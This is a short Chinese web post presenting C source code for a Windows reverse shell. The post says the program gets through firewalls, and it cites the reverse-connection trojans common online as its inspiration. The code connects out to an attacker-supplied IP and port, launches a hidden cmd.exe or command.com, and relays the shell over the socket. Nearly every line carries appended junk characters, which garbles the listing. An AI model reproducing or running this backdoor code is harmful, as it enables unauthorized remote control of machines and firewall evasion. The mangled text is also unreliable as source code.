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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A$%Q4jC}  
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/* ============================== tjZ\h=  
Rebound port in Windows NT i<4>\nc  
By wind,2006/7 pKt-R07*  
===============================*/ )YzHk ;(  
#include fJ)N:q`  
#include fg9?3x Z  
:W.jNV{e\F  
#pragma comment(lib,"wsock32.lib") 0T9@,scY  
[F/^J|VMV  
void OutputShell(); ;dqk@@O"(  
SOCKET sClient; *'9)H 0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gEr4zae  
Si?$\H*:  
void main(int argc,char **argv) <i_> y~v`  
{ x],8yR)R  
WSADATA stWsaData; O!+nF]V4f  
int nRet; .e`,{G(5q7  
SOCKADDR_IN stSaiClient,stSaiServer; DR k]{^C~  
w`c0a&7  
if(argc != 3) \4h>2y  
{ w=f0*$ue+w  
printf("Useage:\n\rRebound DestIP DestPort\n"); NXzU0  
return; tmO;:n<N  
} )Qh>0T+(  
"El^38Ho  
WSAStartup(MAKEWORD(2,2),&stWsaData); G1kaF/`O  
v!NB~"LQ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uP{; *E3?  
b!i`o%Vb  
stSaiClient.sin_family = AF_INET; e#>tM  
stSaiClient.sin_port = htons(0); T*h!d(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cI*KRC U  
)Vwj9WD  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UI!6aVL.  
{ _Ry_K3K  
printf("Bind Socket Failed!\n"); v~ ^ks{  
return; 33Ssylno  
} #/ OUGeJ  
v"z (JF  
stSaiServer.sin_family = AF_INET; IFiTTIlT0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "'['(e+7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =2^Vgc  
u5Qp/ag?N  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `S"W8_m  
{ #v.L$7O  
printf("Connect Error!"); \'n$&PFe  
return; X'cf&>h  
} u-m%=2  
OutputShell(); 'oleB_B  
} B|cA[  
^9&b+u=X  
void OutputShell() Da"yZ\4  
{ PC*m% ?+  
char szBuff[1024]; CN$I:o04C  
SECURITY_ATTRIBUTES stSecurityAttributes; `5~7IPl3  
OSVERSIONINFO stOsversionInfo; 5a'yXB}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hP?7zz$*j  
STARTUPINFO stStartupInfo; WK pUn8&N  
char *szShell; /&CUspb  
PROCESS_INFORMATION stProcessInformation; Vy]A,Rn7  
unsigned long lBytesRead; B,3 t`  
+0VG[ c\8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A#<vG1  
$bk>kbl P  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aK]7vp+  
stSecurityAttributes.lpSecurityDescriptor = 0; @u,+F0Yd  
stSecurityAttributes.bInheritHandle = TRUE; KwS`3 6:  
iJ}2"i7M  
m&Lt6_vi  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F[5S(7M 7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HtxLMzgz<<  
g^1r0.Sp{8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x_yF|]aI!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A:/}`  
stStartupInfo.wShowWindow = SW_HIDE; hQXxG/yFm  
stStartupInfo.hStdInput = hReadPipe; aSUsyOe  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +9RJ%i&Ec  
=M/qV  
GetVersionEx(&stOsversionInfo); : (cb2j(C  
:3v9h^|+  
switch(stOsversionInfo.dwPlatformId) V|TA:&:7  
{ z;J  
case 1: JfMJF[Mb  
szShell = "command.com"; L^lS^P  
break; GE@uO J6H  
default: im=5{PbJ^  
szShell = "cmd.exe"; 29%=:*R$  
break; @8|Gh]\P  
} D-6  
I-,>DLG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pDGT@qJ  
3c b[RQf  
send(sClient,szMsg,77,0); =nzFd-P  
while(1) [eyb7\#   
{ V"O 9n[|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H"_v+N5=  
if(lBytesRead) HL@TcfOe~  
{ ~x'zX-@rC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qYiv   
send(sClient,szBuff,lBytesRead,0); +$PFHXB  
} Mq@}snp"S  
else l8^y]M  
{ (v!mR+\x  
lBytesRead=recv(sClient,szBuff,1024,0); x@Y|v@}BE  
if(lBytesRead<=0) break; gV|Y54}T  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D i+4Eb  
} L;3aZt,#O  
} y`rL=N#  
PB+\jj  
return; WHP;Neb6  
}
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